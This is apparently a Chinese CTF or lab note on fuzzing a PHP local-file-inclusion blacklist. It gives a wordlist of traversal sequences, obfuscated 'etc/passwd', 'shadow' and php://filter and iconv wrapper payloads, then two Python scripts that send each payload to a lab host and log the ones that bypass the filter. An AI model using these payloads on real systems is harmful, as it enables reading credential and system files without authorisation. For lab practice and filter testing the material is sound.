lo log log/. log/./. llogg access.log error.log auth.log syslog messages etc ETC Etc eTc et etc etc/. etc/./. eetcc /etc /etc/ /etc/. /etc/./ /etc/ /etc / passwd PASSWD Passwd pAsSwD pass pa pas passw passwd passwd/. passwd/./. papasswdsswd shadow SHADOW Shadow sHaDoW shad sha shad shadow shadow/. shadow/./. hosts HOSTS Hosts hOsTs hos ho host hosts hosts/. hosts/./. win.ini WIN.INI Win.ini wIn.iNi win. win.ini win.ini/. win.ini/./. ../ ..\. .. .. .. . . ../ ../ ....// ....\/ .. .. .. ./../ .\..\ /./../ /.\..\ ./ .\ /. /.\ \. \.\ \.. \..\ \0 \00 \000 \x00 \x0 \x0a \x0d \x09 \x20 convert.iconv convert.base64 string.rot13 string.strip_tags zlib.deflate php://filter php://input data://text data://plain /proc/self /self/fd /fd/0 fd/1 fd/2 fd/3 fd/4 fd/5 fd/6 fd/7 fd/8 fd/9 fd/10 fd/11 fd/12 fd/13 fd/14 fd/15 fd/16 fd/17 fd/18 fd/19 fd/20 ../../ ../../../ ../../../../ /var/log/ /var/www/ /etc/passwd /etc/shadow convconvert iconiconvv strstring phpphp ininputput filfilterter resresourceource procproc selfself fdfd ..//..// ....// CoNvErT IcOnV StRiNg PhP InPuT FiLtEr ReSoUrCe PrOc SeLf Fd EtC PaSsWd c i s p i f r p s f e p c onvert i conv st ring p hp i nput fi lter re source pr oc se lf f d et c pa sswd c i st p i fi re pr se f et pa
我个人感觉使用fuzz不知道是玄学原因还是什么原因,有时候匹配字符串的时候时候匹配不了
所以我个人感觉还是使用python舒服
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requests url = 'http://192.168.8.140:8899/1.php' key = 'nono' with open ('fuff.txt' ,'r' ,encoding='utf-8' , errors='ignore' ) as f: for line in f: payload = line.strip() if not payload: continue r = requests.get(url, params={'file' :payload}) if key in r.text: print (payload) with open ('result.txt' ,'a' ,encoding='utf-8' , errors='ignore' ) as f_res: f_res.write(payload + '\n' ) else : print ('[+]' )
或者是匹配响应包长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests url = 'http://192.168.8.140:8899/1.php' r = requests.get(url) length = len (r.text) key = 'nono' with open ('fuff.txt' ,'r' ,encoding='utf-8' , errors='ignore' ) as f: for line in f: payload = line.strip() if not payload: continue r = requests.get(url, params={'file' :payload}) payload_len = len (r.text) if payload_len != length: print (payload) with open ('result.txt' ,'a' ,encoding='utf-8' , errors='ignore' ) as f_res: f_res.write(payload + '\n' ) else : print ('[+]' )